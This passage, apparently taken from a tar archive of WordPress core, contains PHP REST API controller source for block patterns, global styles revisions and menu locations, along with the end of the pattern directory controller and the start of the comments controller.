					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'categories'     => array(
					'description' => __( "The pattern's category slugs." ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'keywords'       => array(
					'description' => __( "The pattern's keywords." ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'description'    => array(
					'description' => __( 'A description of the pattern.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'viewport_width' => array(
					'description' => __( 'The preferred width of the viewport when previewing a pattern, in pixels.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'block_types'    => array(
					'description' => __( 'The block types which can use this pattern.' ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'embed' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the search parameters for the block pattern's collection.
	 *
	 * @since 5.8.0
	 * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['per_page']['default'] = 100;
		$query_params['search']['minLength'] = 1;
		$query_params['context']['default']  = 'view';

		$query_params['category'] = array(
			'description' => __( 'Limit results to those matching a category ID.' ),
			'type'        => 'integer',
			'minimum'     => 1,
		);

		$query_params['keyword'] = array(
			'description' => __( 'Limit results to those matching a keyword ID.' ),
			'type'        => 'integer',
			'minimum'     => 1,
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit results to those matching a pattern (slug).' ),
			'type'        => 'array',
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by post attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
				'favorite_count',
			),
		);

		/**
		 * Filter collection parameters for the block pattern directory controller.
		 *
		 * @since 5.8.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_pattern_directory_collection_params', $query_params );
	}

	/**
	 * Include a hash of the query args, so that different requests are stored in
	 * separate caches.
	 *
	 * MD5 is chosen for its speed, low-collision rate, universal availability, and to stay
	 * under the character limit for `_site_transient_timeout_{...}` keys.
	 *
	 * @link https://stackoverflow.com/questions/3665247/fastest-hash-for-non-cryptographic-uses
	 *
	 * @since 6.0.0
	 *
	 * @param array $query_args Query arguments to generate a transient key from.
	 * @return string Transient key.
	 */
	protected function get_transient_key( $query_args ) {

		if ( isset( $query_args['slug'] ) ) {
			// This is an additional precaution because the "sort" function expects an array.
			$query_args['slug'] = wp_parse_list( $query_args['slug'] );

			// Empty arrays should not affect the transient key.
			if ( empty( $query_args['slug'] ) ) {
				unset( $query_args['slug'] );
			} else {
				// Sort the array so that the transient key doesn't depend on the order of slugs.
				sort( $query_args['slug'] );
			}
		}

		return 'wp_remote_block_patterns_' . md5( serialize( $query_args ) );
	}
}
endpoints/class-wp-rest-global-styles-revisions-controller.php000064400000030606151024200430020737 0ustar00<?php
/**
 * REST API: WP_REST_Global_Styles_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.3.0
 */

/**
 * Core class used to access global styles revisions via the REST API.
 *
 * @since 6.3.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Global_Styles_Revisions_Controller extends WP_REST_Revisions_Controller {
	/**
	 * Parent controller.
	 *
	 * @since 6.6.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.3.0
	 * @var string
	 */
	protected $parent_base;

	/**
	 * Parent post type.
	 *
	 * @since 6.6.0
	 * @var string
	 */
	protected $parent_post_type;

	/**
	 * Constructor.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Extends class from WP_REST_Revisions_Controller.
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type = 'wp_global_styles' ) {
		parent::__construct( $parent_post_type );
		$post_type_object  = get_post_type_object( $parent_post_type );
		$parent_controller = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Global_Styles_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;
		$this->rest_base         = 'revisions';
		$this->parent_base       = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace         = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the controller's routes.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Added route to fetch individual global styles revisions.
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the global styles revision.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the global styles revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Returns decoded JSON from post content string,
	 * or a 404 if not found.
	 *
	 * @since 6.3.0
	 *
	 * @param string $raw_json Encoded JSON from global styles custom post content.
	 * @return Array|WP_Error
	 */
	protected function get_decoded_global_styles_json( $raw_json ) {
		$decoded_json = json_decode( $raw_json, true );

		if ( is_array( $decoded_json ) && isset( $decoded_json['isGlobalStylesUserThemeJSON'] ) && true === $decoded_json['isGlobalStylesUserThemeJSON'] ) {
			return $decoded_json;
		}

		return new WP_Error(
			'rest_global_styles_not_found',
			__( 'Cannot find user global styles revisions.' ),
			array( 'status' => 404 )
		);
	}

	/**
	 * Returns paginated revisions of the given global styles config custom post type.
	 *
	 * The bulk of the body is taken from WP_REST_Revisions_Controller->get_items,
	 * but global styles does not require as many parameters.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['parent'] );

		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$global_styles_config = $this->get_decoded_global_styles_json( $parent->post_content );

		if ( is_wp_error( $global_styles_config ) ) {
			return $global_styles_config;
		}

		$is_head_request = $request->is_method( 'HEAD' );

		if ( wp_revisions_enabled( $parent ) ) {
			$registered = $this->get_collection_params();
			$query_args = array(
				'post_parent'    => $parent->ID,
				'post_type'      => 'revision',
				'post_status'    => 'inherit',
				'posts_per_page' => -1,
				'orderby'        => 'date ID',
				'order'          => 'DESC',
			);

			$parameter_mappings = array(
				'offset'   => 'offset',
				'page'     => 'paged',
				'per_page' => 'posts_per_page',
			);

			foreach ( $parameter_mappings as $api_param => $wp_param ) {
				if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
					$query_args[ $wp_param ] = $request[ $api_param ];
				}
			}

			if ( $is_head_request ) {
				// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
				$query_args['fields'] = 'ids';
				// Disable priming post meta for HEAD requests to improve performance.
				$query_args['update_post_term_cache'] = false;
				$query_args['update_post_meta_cache'] = false;
			}

			$revisions_query = new WP_Query();
			$revisions       = $revisions_query->query( $query_args );
			$offset          = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
			$page            = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0;
			$total_revisions = $revisions_query->found_posts;

			if ( $total_revisions < 1 ) {
				// Out-of-bounds, run the query again without LIMIT for total count.
				unset( $query_args['paged'], $query_args['offset'] );
				$count_query = new WP_Query();
				$count_query->query( $query_args );

				$total_revisions = $count_query->found_posts;
			}

			if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
				$max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
			} else {
				$max_pages = $total_revisions > 0 ? 1 : 0;
			}
			if ( $total_revisions > 0 ) {
				if ( $offset >= $total_revisions ) {
					return new WP_Error(
						'rest_revision_invalid_offset_number',
						__( 'The offset number requested is larger than or equal to the number of available revisions.' ),
						array( 'status' => 400 )
					);
				} elseif ( ! $offset && $page > $max_pages ) {
					return new WP_Error(
						'rest_revision_invalid_page_number',
						__( 'The page number requested is larger than the number of pages available.' ),
						array( 'status' => 400 )
					);
				}
			}
		} else {
			$revisions       = array();
			$total_revisions = 0;
			$max_pages       = 0;
			$page            = (int) $request['page'];
		}

		if ( ! $is_head_request ) {
			$response = array();

			foreach ( $revisions as $revision ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}

			$response = rest_ensure_response( $response );
		} else {
			$response = new WP_REST_Response( array() );
		}

		$response->header( 'X-WP-Total', (int) $total_revisions );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$base_path      = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $base_path );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Added resolved URI links to the response.
	 *
	 * @param WP_Post         $post    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return new WP_REST_Response( array() );
		}

		$parent               = $this->get_parent( $request['parent'] );
		$global_styles_config = $this->get_decoded_global_styles_json( $post->post_content );

		if ( is_wp_error( $global_styles_config ) ) {
			return $global_styles_config;
		}

		$fields     = $this->get_fields_for_response( $request );
		$data       = array();
		$theme_json = null;

		if ( ! empty( $global_styles_config['styles'] ) || ! empty( $global_styles_config['settings'] ) ) {
			$theme_json           = new WP_Theme_JSON( $global_styles_config, 'custom' );
			$global_styles_config = $theme_json->get_raw_data();
			if ( rest_is_field_included( 'settings', $fields ) ) {
				$data['settings'] = ! empty( $global_styles_config['settings'] ) ? $global_styles_config['settings'] : new stdClass();
			}
			if ( rest_is_field_included( 'styles', $fields ) ) {
				$data['styles'] = ! empty( $global_styles_config['styles'] ) ? $global_styles_config['styles'] : new stdClass();
			}
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( rest_is_field_included( 'date', $fields ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( rest_is_field_included( 'date_gmt', $fields ) ) {
			$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
		}

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = (int) $post->ID;
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( rest_is_field_included( 'modified_gmt', $fields ) ) {
			$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = (int) $parent->ID;
		}

		$context             = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data                = $this->add_additional_fields_to_object( $data, $request );
		$data                = $this->filter_response_by_context( $data, $context );
		$response            = rest_ensure_response( $data );
		$resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json );

		if ( ! empty( $resolved_theme_uris ) ) {
			$response->add_links(
				array(
					'https://api.w.org/theme-file' => $resolved_theme_uris,
				)
			);
		}

		return $response;
	}

	/**
	 * Retrieves the revision's schema, conforming to JSON Schema.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Merged parent and parent controller schema data.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema               = parent::get_item_schema();
		$parent_schema        = $this->parent_controller->get_item_schema();
		$schema['properties'] = array_merge( $schema['properties'], $parent_schema['properties'] );

		unset(
			$schema['properties']['guid'],
			$schema['properties']['slug'],
			$schema['properties']['meta'],
			$schema['properties']['content'],
			$schema['properties']['title']
		);

			$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 * Removes params that are not supported by global styles revisions.
	 *
	 * @since 6.6.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();
		unset(
			$query_params['exclude'],
			$query_params['include'],
			$query_params['search'],
			$query_params['order'],
			$query_params['orderby']
		);
		return $query_params;
	}
}
endpoints/class-wp-rest-block-patterns-controller.php000064400000022120151024200430017057 0ustar00<?php
/**
 * REST API: WP_REST_Block_Patterns_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.0.0
 */

/**
 * Core class used to access block patterns via the REST API.
 *
 * @since 6.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Patterns_Controller extends WP_REST_Controller {

	/**
	 * Defines whether remote patterns should be loaded.
	 *
	 * @since 6.0.0
	 * @var bool
	 */
	private $remote_patterns_loaded;

	/**
	 * An array that maps old categories names to new ones.
	 *
	 * @since 6.2.0
	 * @var array
	 */
	protected static $categories_migration = array(
		'buttons' => 'call-to-action',
		'columns' => 'text',
		'query'   => 'posts',
	);

	/**
	 * Constructs the controller.
	 *
	 * @since 6.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-patterns/patterns';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.0.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read block patterns.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view the registered block patterns.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves all block patterns.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Added migration for old core pattern categories to the new ones.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( ! $this->remote_patterns_loaded ) {
			// Load block patterns from w.org.
			_load_remote_block_patterns(); // Patterns with the `core` keyword.
			_load_remote_featured_patterns(); // Patterns in the `featured` category.
			_register_remote_theme_patterns(); // Patterns requested by current theme.

			$this->remote_patterns_loaded = true;
		}

		$response = array();
		$patterns = WP_Block_Patterns_Registry::get_instance()->get_all_registered();
		foreach ( $patterns as $pattern ) {
			$migrated_pattern = $this->migrate_pattern_categories( $pattern );
			$prepared_pattern = $this->prepare_item_for_response( $migrated_pattern, $request );
			$response[]       = $this->prepare_response_for_collection( $prepared_pattern );
		}
		return rest_ensure_response( $response );
	}

	/**
	 * Migrates old core pattern categories to the new categories.
	 *
	 * Core pattern categories are revamped. Migration is needed to ensure
	 * backwards compatibility.
	 *
	 * @since 6.2.0
	 *
	 * @param array $pattern Raw pattern as registered, before applying any changes.
	 * @return array Migrated pattern.
	 */
	protected function migrate_pattern_categories( $pattern ) {
		// No categories to migrate.
		if (
			! isset( $pattern['categories'] ) ||
			! is_array( $pattern['categories'] )
		) {
			return $pattern;
		}

		foreach ( $pattern['categories'] as $index => $category ) {
			// If the category exists as a key, then it needs migration.
			if ( isset( static::$categories_migration[ $category ] ) ) {
				$pattern['categories'][ $index ] = static::$categories_migration[ $category ];
			}
		}

		return $pattern;
	}

	/**
	 * Prepare a raw block pattern before it gets output in a REST API response.
	 *
	 * @since 6.0.0
	 * @since 6.3.0 Added `source` property.
	 *
	 * @param array           $item    Raw pattern as registered, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Resolve pattern blocks so they don't need to be resolved client-side
		// in the editor, improving performance.
		$blocks          = parse_blocks( $item['content'] );
		$blocks          = resolve_pattern_blocks( $blocks );
		$item['content'] = serialize_blocks( $blocks );

		$fields = $this->get_fields_for_response( $request );
		$keys   = array(
			'name'          => 'name',
			'title'         => 'title',
			'content'       => 'content',
			'description'   => 'description',
			'viewportWidth' => 'viewport_width',
			'inserter'      => 'inserter',
			'categories'    => 'categories',
			'keywords'      => 'keywords',
			'blockTypes'    => 'block_types',
			'postTypes'     => 'post_types',
			'templateTypes' => 'template_types',
			'source'        => 'source',
		);
		$data   = array();
		foreach ( $keys as $item_key => $rest_key ) {
			if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) {
				$data[ $rest_key ] = $item[ $item_key ];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );
		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves the block pattern schema, conforming to JSON Schema.
	 *
	 * @since 6.0.0
	 * @since 6.3.0 Added `source` property.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-pattern',
			'type'       => 'object',
			'properties' => array(
				'name'           => array(
					'description' => __( 'The pattern name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'title'          => array(
					'description' => __( 'The pattern title, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'content'        => array(
					'description' => __( 'The pattern content.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description'    => array(
					'description' => __( 'The pattern detailed description.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'viewport_width' => array(
					'description' => __( 'The pattern viewport width for inserter preview.' ),
					'type'        => 'number',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'inserter'       => array(
					'description' => __( 'Determines whether the pattern is visible in inserter.' ),
					'type'        => 'boolean',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'categories'     => array(
					'description' => __( 'The pattern category slugs.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'keywords'       => array(
					'description' => __( 'The pattern keywords.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'block_types'    => array(
					'description' => __( 'Block types that the pattern is intended to be used with.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'post_types'     => array(
					'description' => __( 'An array of post types that the pattern is restricted to be used with.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'template_types' => array(
					'description' => __( 'An array of template types where the pattern fits.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'source'         => array(
					'description' => __( 'Where the pattern comes from e.g. core' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'enum'        => array(
						'core',
						'plugin',
						'theme',
						'pattern-directory/core',
						'pattern-directory/theme',
						'pattern-directory/featured',
					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-menu-locations-controller.php000064400000021403151024200430017067 0ustar00<?php
/**
 * REST API: WP_REST_Menu_Locations_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class used to access menu locations via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Menu_Locations_Controller extends WP_REST_Controller {

	/**
	 * Menu Locations Constructor.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'menu-locations';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 5.9.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<location>[\w-]+)',
			array(
				'args'   => array(
					'location' => array(
						'description' => __( 'An alphanumeric identifier for the menu location.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read menu locations.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Retrieves all menu locations, depending on user context.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data = array();

		foreach ( get_registered_nav_menus() as $name => $description ) {
			$location              = new stdClass();
			$location->name        = $name;
			$location->description = $description;

			$location      = $this->prepare_item_for_response( $location, $request );
			$data[ $name ] = $this->prepare_response_for_collection( $location );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Retrieves a specific menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$registered_menus = get_registered_nav_menus();
		if ( ! array_key_exists( $request['location'], $registered_menus ) ) {
			return new WP_Error( 'rest_menu_location_invalid', __( 'Invalid menu location.' ), array( 'status' => 404 ) );
		}

		$location              = new stdClass();
		$location->name        = $request['location'];
		$location->description = $registered_menus[ $location->name ];

		$data = $this->prepare_item_for_response( $location, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * @since 6.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the current user has permission, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		$read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this );
		if ( $read_only_access ) {
			return true;
		}

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to view menu locations.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares a menu location object for serialization.
	 *
	 * @since 5.9.0
	 *
	 * @param stdClass        $item    Post status data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Menu location data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$location = $item;

		$locations = get_nav_menu_locations();
		$menu      = isset( $locations[ $location->name ] ) ? $locations[ $location->name ] : 0;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'name', $fields ) ) {
			$data['name'] = $location->name;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $location->description;
		}

		if ( rest_is_field_included( 'menu', $fields ) ) {
			$data['menu'] = (int) $menu;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $location ) );
		}

		/**
		 * Filters menu location data returned from the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $location The original location object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_menu_location', $response, $location, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param stdClass $location Menu location.
	 * @return array Links for the given menu location.
	 */
	protected function prepare_links( $location ) {
		$base = sprintf( '%s/%s', $this->namespace, $this->rest_base );

		// Entity meta.
		$links = array(
			'self'       => array(
				'href' => rest_url( trailingslashit( $base ) . $location->name ),
			),
			'collection' => array(
				'href' => rest_url( $base ),
			),
		);

		$locations = get_nav_menu_locations();
		$menu      = isset( $locations[ $location->name ] ) ? $locations[ $location->name ] : 0;
		if ( $menu ) {
			$path = rest_get_route_for_term( $menu );
			if ( $path ) {
				$url = rest_url( $path );

				$links['https://api.w.org/menu'][] = array(
					'href'       => $url,
					'embeddable' => true,
				);
			}
		}

		return $links;
	}

	/**
	 * Retrieves the menu location's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'menu-location',
			'type'       => 'object',
			'properties' => array(
				'name'        => array(
					'description' => __( 'The name of the menu location.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'The description of the menu location.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'menu'        => array(
					'description' => __( 'The ID of the assigned menu.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-comments-controller.php000064400000161770151024200430015773 0ustar00<?php
/**
 * REST API: WP_REST_Comments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access comments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Comments_Controller extends WP_REST_Controller {

	/**
	 * Instance of a comment meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Comment_Meta_Fields
	 */
	protected $meta;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
